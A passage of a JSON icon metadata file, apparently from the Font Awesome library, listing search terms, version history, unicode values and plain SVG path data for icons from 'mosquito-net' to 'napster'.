        "path": "M463.7 505.9c9.8-8.9 10.7-24.3 2.1-34.3l-42.1-49 0-54.7c0-5.5-1.8-10.8-5.1-15.1L352 266.3l0-.3L485.4 387.8C542.4 447.6 640 405.2 640 320.6c0-47.9-34-88.3-79.4-94.2l-153-23.9 40.8-40.9c7.8-7.8 9.4-20.1 3.9-29.8L428.5 90.1l38.2-50.9c8-10.6 6.1-25.9-4.3-34.1s-25.2-6.3-33.2 4.4l-48 63.9c-5.9 7.9-6.6 18.6-1.7 27.2L402.2 140 352 190.3l0-38.2c0-14.9-10.2-27.4-24-31l0-57.2c0-4.4-3.6-8-8-8s-8 3.6-8 8l0 57.2c-13.8 3.6-24 16.1-24 31l0 38.1L237.8 140l22.6-39.5c4.9-8.6 4.2-19.3-1.7-27.2l-48-63.9c-8-10.6-22.8-12.6-33.2-4.4s-12.2 23.5-4.3 34.1l38.2 50.9-23.9 41.7c-5.5 9.7-3.9 22 3.9 29.8l40.8 40.9-153 23.9C34 232.3 0 272.7 0 320.6c0 84.6 97.6 127 154.6 67.1L288 266l0 .3-66.5 86.4c-3.3 4.3-5.1 9.6-5.1 15.1l0 54.7-42.1 49c-8.6 10.1-7.7 25.5 2.1 34.3s24.7 7.9 33.4-2.1l48-55.9c3.8-4.4 5.9-10.2 5.9-16.1l0-55.4L288 344.7l0 63.1c0 17.7 14.3 32 32 32s32-14.3 32-32l0-63.1 24.3 31.6 0 55.4c0 5.9 2.1 11.7 5.9 16.1l48 55.9c8.6 10.1 23.6 11 33.4 2.1z"
      }
    },
    "free": ["solid"]
  },
  "mosquito-net": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bite", "malaria", "mosquito", "net"]
    },
    "styles": ["solid"],
    "unicode": "e52c",
    "label": "Mosquito Net",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M168.8 462.3c-7.9-4-11.1-13.6-7.2-21.5L192 380.2l0-44.2c0-4.2 1.7-8.3 4.7-11.3L256 265.4V242.2L139.2 344C87.8 395.3 0 358.9 0 286.3c0-41.1 30.6-75.8 71.4-80.9l159.9-23.9-49.6-41.3c-5.1-4.2-7-11.1-4.9-17.4l13.9-41.7-29-58.1c-4-7.9-.7-17.5 7.2-21.5s17.5-.7 21.5 7.2l32 64c1.9 3.8 2.2 8.2 .9 12.2l-12.5 37.6L256 160.5V137.9c0-14.9 10.1-27.3 23.8-31V63.7c0-4.5 3.7-8.2 8.2-8.2s8.2 3.7 8.2 8.2V107c13.7 3.6 23.8 16.1 23.8 31v22.6l45.4-37.8L352.8 85.1c-1.3-4-1-8.4 .9-12.2l32-64c4-7.9 13.6-11.1 21.5-7.2s11.1 13.6 7.2 21.5l-29 58.1 13.9 41.7c2.1 6.2 .1 13.1-4.9 17.4l-49.6 41.3 159.9 23.9c22.5 2.8 41.8 14.6 54.7 31.4c-2.7 2.6-5.2 5.4-7.3 8.6c-8.6-12.9-23.3-21.5-40-21.5s-31.4 8.5-40 21.5c-8.6-12.9-23.3-21.5-40-21.5c-21.7 0-40 14.3-45.9 34.1c-10.7 3.2-19.8 10.1-25.9 19.2l-40.2-35v23.1l32.4 32.4c-.3 2-.4 4.1-.4 6.2c0 16.7 8.5 31.4 21.5 40c-4 2.6-7.5 5.9-10.6 9.5L320 310.6v50c0 17.7-14.3 32-32 32s-32-14.3-32-32v-50l-32 32 0 41.4c0 2.5-.6 4.9-1.7 7.2l-32 64c-4 7.9-13.6 11.1-21.5 7.2zM512 256c8.8 0 16 7.2 16 16v16h48V272c0-8.8 7.2-16 16-16s16 7.2 16 16v16h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H608v48h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H608v48h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H608v16c0 8.8-7.2 16-16 16s-16-7.2-16-16V480H528v16c0 8.8-7.2 16-16 16s-16-7.2-16-16V480H448v16c0 8.8-7.2 16-16 16s-16-7.2-16-16V480H400c-8.8 0-16-7.2-16-16s7.2-16 16-16h16V400H400c-8.8 0-16-7.2-16-16s7.2-16 16-16h16V320H400c-8.8 0-16-7.2-16-16s7.2-16 16-16h16V272c0-8.8 7.2-16 16-16s16 7.2 16 16v16h48V272c0-8.8 7.2-16 16-16zm16 112h48V320H528v48zm0 80h48V400H528v48zM448 320v48h48V320H448zm0 80v48h48V400H448z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M168.8 462.3c-7.9-4-11.1-13.6-7.2-21.5L192 380.2l0-44.2c0-4.2 1.7-8.3 4.7-11.3L256 265.4V242.2L139.2 344C87.8 395.3 0 358.9 0 286.3c0-41.1 30.6-75.8 71.4-80.9l159.9-23.9-49.6-41.3c-5.1-4.2-7-11.1-4.9-17.4l13.9-41.7-29-58.1c-4-7.9-.7-17.5 7.2-21.5s17.5-.7 21.5 7.2l32 64c1.9 3.8 2.2 8.2 .9 12.2l-12.5 37.6L256 160.5V137.9c0-14.9 10.1-27.3 23.8-31V63.7c0-4.5 3.7-8.2 8.2-8.2s8.2 3.7 8.2 8.2V107c13.7 3.6 23.8 16.1 23.8 31v22.6l45.4-37.8L352.8 85.1c-1.3-4-1-8.4 .9-12.2l32-64c4-7.9 13.6-11.1 21.5-7.2s11.1 13.6 7.2 21.5l-29 58.1 13.9 41.7c2.1 6.2 .1 13.1-4.9 17.4l-49.6 41.3 159.9 23.9c22.5 2.8 41.8 14.6 54.7 31.4c-2.7 2.6-5.2 5.4-7.3 8.6c-8.6-12.9-23.3-21.5-40-21.5s-31.4 8.5-40 21.5c-8.6-12.9-23.3-21.5-40-21.5c-21.7 0-40 14.3-45.9 34.1c-10.7 3.2-19.8 10.1-25.9 19.2l-40.2-35v23.1l32.4 32.4c-.3 2-.4 4.1-.4 6.2c0 16.7 8.5 31.4 21.5 40c-4 2.6-7.5 5.9-10.6 9.5L320 310.6v50c0 17.7-14.3 32-32 32s-32-14.3-32-32v-50l-32 32 0 41.4c0 2.5-.6 4.9-1.7 7.2l-32 64c-4 7.9-13.6 11.1-21.5 7.2zM512 256c8.8 0 16 7.2 16 16v16h48V272c0-8.8 7.2-16 16-16s16 7.2 16 16v16h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H608v48h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H608v48h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H608v16c0 8.8-7.2 16-16 16s-16-7.2-16-16V480H528v16c0 8.8-7.2 16-16 16s-16-7.2-16-16V480H448v16c0 8.8-7.2 16-16 16s-16-7.2-16-16V480H400c-8.8 0-16-7.2-16-16s7.2-16 16-16h16V400H400c-8.8 0-16-7.2-16-16s7.2-16 16-16h16V320H400c-8.8 0-16-7.2-16-16s7.2-16 16-16h16V272c0-8.8 7.2-16 16-16s16 7.2 16 16v16h48V272c0-8.8 7.2-16 16-16zm16 112h48V320H528v48zm0 80h48V400H528v48zM448 320v48h48V320H448zm0 80v48h48V400H448z"
      }
    },
    "free": ["solid"]
  },
  "motorcycle": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3cd"],
        "secondary": ["10f21c"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bike",
        "machine",
        "motorcycle",
        "racing",
        "transportation",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f21c",
    "label": "Motorcycle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M280 32c-13.3 0-24 10.7-24 24s10.7 24 24 24h57.7l16.4 30.3L256 192l-45.3-45.3c-12-12-28.3-18.7-45.3-18.7H64c-17.7 0-32 14.3-32 32v32h96c88.4 0 160 71.6 160 160c0 11-1.1 21.7-3.2 32h70.4c-2.1-10.3-3.2-21-3.2-32c0-52.2 25-98.6 63.7-127.8l15.4 28.6C402.4 276.3 384 312 384 352c0 70.7 57.3 128 128 128s128-57.3 128-128s-57.3-128-128-128c-13.5 0-26.5 2.1-38.7 6L418.2 128H480c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H459.6c-7.5 0-14.7 2.6-20.5 7.4L391.7 78.9l-14-26c-7-12.9-20.5-21-35.2-21H280zM462.7 311.2l28.2 52.2c6.3 11.7 20.9 16 32.5 9.7s16-20.9 9.7-32.5l-28.2-52.2c2.3-.3 4.7-.4 7.1-.4c35.3 0 64 28.7 64 64s-28.7 64-64 64s-64-28.7-64-64c0-15.5 5.5-29.7 14.7-40.8zM187.3 376c-9.5 23.5-32.5 40-59.3 40c-35.3 0-64-28.7-64-64s28.7-64 64-64c26.9 0 49.9 16.5 59.3 40h66.4C242.5 268.8 190.5 224 128 224C57.3 224 0 281.3 0 352s57.3 128 128 128c62.5 0 114.5-44.8 125.8-104H187.3zM128 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M280 32c-13.3 0-24 10.7-24 24s10.7 24 24 24h57.7l16.4 30.3L256 192l-45.3-45.3c-12-12-28.3-18.7-45.3-18.7H64c-17.7 0-32 14.3-32 32v32h96c88.4 0 160 71.6 160 160c0 11-1.1 21.7-3.2 32h70.4c-2.1-10.3-3.2-21-3.2-32c0-52.2 25-98.6 63.7-127.8l15.4 28.6C402.4 276.3 384 312 384 352c0 70.7 57.3 128 128 128s128-57.3 128-128s-57.3-128-128-128c-13.5 0-26.5 2.1-38.7 6L418.2 128H480c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H459.6c-7.5 0-14.7 2.6-20.5 7.4L391.7 78.9l-14-26c-7-12.9-20.5-21-35.2-21H280zM462.7 311.2l28.2 52.2c6.3 11.7 20.9 16 32.5 9.7s16-20.9 9.7-32.5l-28.2-52.2c2.3-.3 4.7-.4 7.1-.4c35.3 0 64 28.7 64 64s-28.7 64-64 64s-64-28.7-64-64c0-15.5 5.5-29.7 14.7-40.8zM187.3 376c-9.5 23.5-32.5 40-59.3 40c-35.3 0-64-28.7-64-64s28.7-64 64-64c26.9 0 49.9 16.5 59.3 40h66.4C242.5 268.8 190.5 224 128 224C57.3 224 0 281.3 0 352s57.3 128 128 128c62.5 0 114.5-44.8 125.8-104H187.3zM128 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "mound": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["barrier", "hill", "pitcher", "speedbump"]
    },
    "styles": ["solid"],
    "unicode": "e52d",
    "label": "Mound",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M144.1 179.2C173.8 127.7 228.6 96 288 96s114.2 31.7 143.9 83.2L540.4 368c12.3 21.3-3.1 48-27.7 48H63.3c-24.6 0-40-26.6-27.7-48L144.1 179.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M144.1 179.2C173.8 127.7 228.6 96 288 96s114.2 31.7 143.9 83.2L540.4 368c12.3 21.3-3.1 48-27.7 48H63.3c-24.6 0-40-26.6-27.7-48L144.1 179.2z"
      }
    },
    "free": ["solid"]
  },
  "mountain": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3d4"],
        "secondary": ["10f6fc"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cold",
        "glacier",
        "hiking",
        "hill",
        "landscape",
        "mountain",
        "snow",
        "snow-capped mountain",
        "travel",
        "view"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6fc",
    "label": "Mountain",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 32c12.5 0 24.1 6.4 30.8 17L503.4 394.4c5.6 8.9 8.6 19.2 8.6 29.7c0 30.9-25 55.9-55.9 55.9H55.9C25 480 0 455 0 424.1c0-10.5 3-20.8 8.6-29.7L225.2 49c6.6-10.6 18.3-17 30.8-17zm65 192L256 120.4 176.9 246.5l18.3 24.4c6.4 8.5 19.2 8.5 25.6 0l25.6-34.1c6-8.1 15.5-12.8 25.6-12.8h49z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 32c12.5 0 24.1 6.4 30.8 17L503.4 394.4c5.6 8.9 8.6 19.2 8.6 29.7c0 30.9-25 55.9-55.9 55.9H55.9C25 480 0 455 0 424.1c0-10.5 3-20.8 8.6-29.7L225.2 49c6.6-10.6 18.3-17 30.8-17zm65 192L256 120.4 176.9 246.5l18.3 24.4c6.4 8.5 19.2 8.5 25.6 0l25.6-34.1c6-8.1 15.5-12.8 25.6-12.8h49z"
      }
    },
    "free": ["solid"]
  },
  "mountain-city": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["location", "rural", "urban"]
    },
    "styles": ["solid"],
    "unicode": "e52e",
    "label": "Mountain City",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M336 0c-26.5 0-48 21.5-48 48v92.1l71.4 118.4c2.5-1.6 5.4-2.5 8.6-2.5h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16h-3.5l73.8 122.4c12.4 20.6 12.9 46.3 1.2 67.3c-.4 .8-.9 1.6-1.4 2.3H592c26.5 0 48-21.5 48-48V240c0-26.5-21.5-48-48-48H568V120c0-13.3-10.7-24-24-24s-24 10.7-24 24v72H480V48c0-26.5-21.5-48-48-48H336zm32 64h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V80c0-8.8 7.2-16 16-16zM352 176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V176zm160 96c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V272zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16zM224 188.9L283.8 288H223l-48 64-24.6-41.2L224 188.9zm29.4-44.2C247.1 134.3 236 128 224 128s-23.1 6.3-29.4 16.7L5.1 458.9c-6.5 10.8-6.7 24.3-.7 35.3S22 512 34.5 512H413.5c12.5 0 24-6.8 30.1-17.8s5.8-24.5-.7-35.3L253.4 144.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M336 0c-26.5 0-48 21.5-48 48v92.1l71.4 118.4c2.5-1.6 5.4-2.5 8.6-2.5h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16h-3.5l73.8 122.4c12.4 20.6 12.9 46.3 1.2 67.3c-.4 .8-.9 1.6-1.4 2.3H592c26.5 0 48-21.5 48-48V240c0-26.5-21.5-48-48-48H568V120c0-13.3-10.7-24-24-24s-24 10.7-24 24v72H480V48c0-26.5-21.5-48-48-48H336zm32 64h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V80c0-8.8 7.2-16 16-16zM352 176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16V176zm160 96c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V272zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H528c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16zM224 188.9L283.8 288H223l-48 64-24.6-41.2L224 188.9zm29.4-44.2C247.1 134.3 236 128 224 128s-23.1 6.3-29.4 16.7L5.1 458.9c-6.5 10.8-6.7 24.3-.7 35.3S22 512 34.5 512H413.5c12.5 0 24-6.8 30.1-17.8s5.8-24.5-.7-35.3L253.4 144.7z"
      }
    },
    "free": ["solid"]
  },
  "mountain-sun": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["country", "hiking", "landscape", "rural", "travel", "view"]
    },
    "styles": ["solid"],
    "unicode": "e52f",
    "label": "Mountain Sun",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M560 160A80 80 0 1 0 560 0a80 80 0 1 0 0 160zM55.9 512H381.1h75H578.9c33.8 0 61.1-27.4 61.1-61.1c0-11.2-3.1-22.2-8.9-31.8l-132-216.3C495 196.1 487.8 192 480 192s-15 4.1-19.1 10.7l-48.2 79L286.8 81c-6.6-10.6-18.3-17-30.8-17s-24.1 6.4-30.8 17L8.6 426.4C3 435.3 0 445.6 0 456.1C0 487 25 512 55.9 512z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M560 160A80 80 0 1 0 560 0a80 80 0 1 0 0 160zM55.9 512H381.1h75H578.9c33.8 0 61.1-27.4 61.1-61.1c0-11.2-3.1-22.2-8.9-31.8l-132-216.3C495 196.1 487.8 192 480 192s-15 4.1-19.1 10.7l-48.2 79L286.8 81c-6.6-10.6-18.3-17-30.8-17s-24.1 6.4-30.8 17L8.6 426.4C3 435.3 0 445.6 0 456.1C0 487 25 512 55.9 512z"
      }
    },
    "free": ["solid"]
  },
  "mug-hot": {
    "aliases": {
      "unicodes": {
        "composite": ["2615"],
        "secondary": ["10f7b6"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "beverage",
        "caliente",
        "cocoa",
        "coffee",
        "cup",
        "drink",
        "holiday",
        "hot",
        "hot beverage",
        "hot chocolate",
        "steam",
        "steaming",
        "tea",
        "warmth"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7b6",
    "label": "Mug Hot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M88 0C74.7 0 64 10.7 64 24c0 38.9 23.4 59.4 39.1 73.1l1.1 1C120.5 112.3 128 119.9 128 136c0 13.3 10.7 24 24 24s24-10.7 24-24c0-38.9-23.4-59.4-39.1-73.1l-1.1-1C119.5 47.7 112 40.1 112 24c0-13.3-10.7-24-24-24zM32 192c-17.7 0-32 14.3-32 32V416c0 53 43 96 96 96H288c53 0 96-43 96-96h16c61.9 0 112-50.1 112-112s-50.1-112-112-112H352 32zm352 64h16c26.5 0 48 21.5 48 48s-21.5 48-48 48H384V256zM224 24c0-13.3-10.7-24-24-24s-24 10.7-24 24c0 38.9 23.4 59.4 39.1 73.1l1.1 1C232.5 112.3 240 119.9 240 136c0 13.3 10.7 24 24 24s24-10.7 24-24c0-38.9-23.4-59.4-39.1-73.1l-1.1-1C231.5 47.7 224 40.1 224 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M88 0C74.7 0 64 10.7 64 24c0 38.9 23.4 59.4 39.1 73.1l1.1 1C120.5 112.3 128 119.9 128 136c0 13.3 10.7 24 24 24s24-10.7 24-24c0-38.9-23.4-59.4-39.1-73.1l-1.1-1C119.5 47.7 112 40.1 112 24c0-13.3-10.7-24-24-24zM32 192c-17.7 0-32 14.3-32 32V416c0 53 43 96 96 96H288c53 0 96-43 96-96h16c61.9 0 112-50.1 112-112s-50.1-112-112-112H352 32zm352 64h16c26.5 0 48 21.5 48 48s-21.5 48-48 48H384V256zM224 24c0-13.3-10.7-24-24-24s-24 10.7-24 24c0 38.9 23.4 59.4 39.1 73.1l1.1 1C232.5 112.3 240 119.9 240 136c0 13.3 10.7 24 24 24s24-10.7 24-24c0-38.9-23.4-59.4-39.1-73.1l-1.1-1C231.5 47.7 224 40.1 224 24z"
      }
    },
    "free": ["solid"]
  },
  "mug-saucer": {
    "aliases": {
      "names": ["coffee"],
      "unicodes": {
        "secondary": ["10f0f4"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "beverage",
        "breakfast",
        "cafe",
        "drink",
        "fall",
        "morning",
        "mug",
        "seasonal",
        "tea"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0f4",
    "label": "Mug Saucer",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767418,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 64c0-17.7 14.3-32 32-32H448h64c70.7 0 128 57.3 128 128s-57.3 128-128 128H480c0 53-43 96-96 96H192c-53 0-96-43-96-96V64zM480 224h32c35.3 0 64-28.7 64-64s-28.7-64-64-64H480V224zM32 416H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 64c0-17.7 14.3-32 32-32H448h64c70.7 0 128 57.3 128 128s-57.3 128-128 128H480c0 53-43 96-96 96H192c-53 0-96-43-96-96V64zM480 224h32c35.3 0 64-28.7 64-64s-28.7-64-64-64H480V224zM32 416H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "music": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3b5"],
        "secondary": ["10f001"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.2.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "lyrics",
        "melody",
        "music",
        "musical note",
        "note",
        "sing",
        "sound"
      ]
    },
    "styles": ["solid"],
    "unicode": "f001",
    "label": "Music",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M499.1 6.3c8.1 6 12.9 15.6 12.9 25.7v72V368c0 44.2-43 80-96 80s-96-35.8-96-80s43-80 96-80c11.2 0 22 1.6 32 4.6V147L192 223.8V432c0 44.2-43 80-96 80s-96-35.8-96-80s43-80 96-80c11.2 0 22 1.6 32 4.6V200 128c0-14.1 9.3-26.6 22.8-30.7l320-96c9.7-2.9 20.2-1.1 28.3 5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M499.1 6.3c8.1 6 12.9 15.6 12.9 25.7v72V368c0 44.2-43 80-96 80s-96-35.8-96-80s43-80 96-80c11.2 0 22 1.6 32 4.6V147L192 223.8V432c0 44.2-43 80-96 80s-96-35.8-96-80s43-80 96-80c11.2 0 22 1.6 32 4.6V200 128c0-14.1 9.3-26.6 22.8-30.7l320-96c9.7-2.9 20.2-1.1 28.3 5z"
      }
    },
    "free": ["solid"]
  },
  "n": {
    "aliases": {
      "unicodes": {
        "composite": ["6e"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Latin Capital Letter N",
        "Latin Small Letter N",
        "letter",
        "nay",
        "no"
      ]
    },
    "styles": ["solid"],
    "unicode": "4e",
    "label": "N",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M21.1 33.9c12.7-4.6 26.9-.7 35.5 9.6L320 359.6V64c0-17.7 14.3-32 32-32s32 14.3 32 32V448c0 13.5-8.4 25.5-21.1 30.1s-26.9 .7-35.5-9.6L64 152.4V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 50.5 8.4 38.5 21.1 33.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M21.1 33.9c12.7-4.6 26.9-.7 35.5 9.6L320 359.6V64c0-17.7 14.3-32 32-32s32 14.3 32 32V448c0 13.5-8.4 25.5-21.1 30.1s-26.9 .7-35.5-9.6L64 152.4V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 50.5 8.4 38.5 21.1 33.9z"
      }
    },
    "free": ["solid"]
  },
  "naira-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Naira Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e1f6",
    "label": "Naira Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M122.6 46.3c-7.8-11.7-22.4-17-35.9-12.9S64 49.9 64 64V256H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V320H228.2l97.2 145.8c7.8 11.7 22.4 17 35.9 12.9s22.7-16.5 22.7-30.6V320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H384V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V256H262.5L122.6 46.3zM305.1 320H320v22.3L305.1 320zM185.5 256H128V169.7L185.5 256z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M122.6 46.3c-7.8-11.7-22.4-17-35.9-12.9S64 49.9 64 64V256H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V320H228.2l97.2 145.8c7.8 11.7 22.4 17 35.9 12.9s22.7-16.5 22.7-30.6V320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H384V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V256H262.5L122.6 46.3zM305.1 320H320v22.3L305.1 320zM185.5 256H128V169.7L185.5 256z"
      }
    },
    "free": ["solid"]
  },
  "napster": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d2",
    "label": "Napster",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M298.3 373.6c-14.2 13.6-31.3 24.1-50.4 30.5-19-6.4-36.2-16.9-50.3-30.5h100.7zm44-199.6c20-16.9 43.6-29.2 69.6-36.2V299c0 219.4-328 217.6-328 .3V137.7c25.9 6.9 49.6 19.6 69.5 36.4 56.8-40 132.5-39.9 188.9-.1zm-208.8-58.5c64.4-60 164.3-60.1 228.9-.2-7.1 3.5-13.9 7.3-20.6 11.5-58.7-30.5-129.2-30.4-187.9.1-6.3-4-13.9-8.2-20.4-11.4zM43.8 93.2v69.3c-58.4 36.5-58.4 121.1.1 158.3 26.4 245.1 381.7 240.3 407.6 1.5l.3-1.7c58.7-36.3 58.9-121.7.2-158.2V93.2c-17.3.5-34 3-50.1 7.4-82-91.5-225.5-91.5-307.5.1-16.3-4.4-33.1-7-50.6-7.5zM259.2 352s36-.3 61.3-1.5c10.2-.5 21.1-4 25.5-6.5 26.3-15.1 25.4-39.2 26.2-47.4-79.5-.6-99.9-3.9-113 55.4zm-135.5-55.3c.8 8.2-.1 32.3 26.2 47.4 4.4 2.5 15.2 6 25.5 6.5 25.3 1.1 61.3 1.5 61.3 1.5-13.2-59.4-33.7-56.1-113-55.4zm169.1 123.4c-3.2-5.3-6.9-7.3-6.9-7.3-24.8 7.3-52.2 6.9-75.9 0 0 0-2.9 1.5-6.4 6.6-2.8 4.1-3.7 9.6-3.7 9.6 29.1 17.6 67.1 17.6 96.2 0-.1-.1-.3-4-3.3-8.9z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
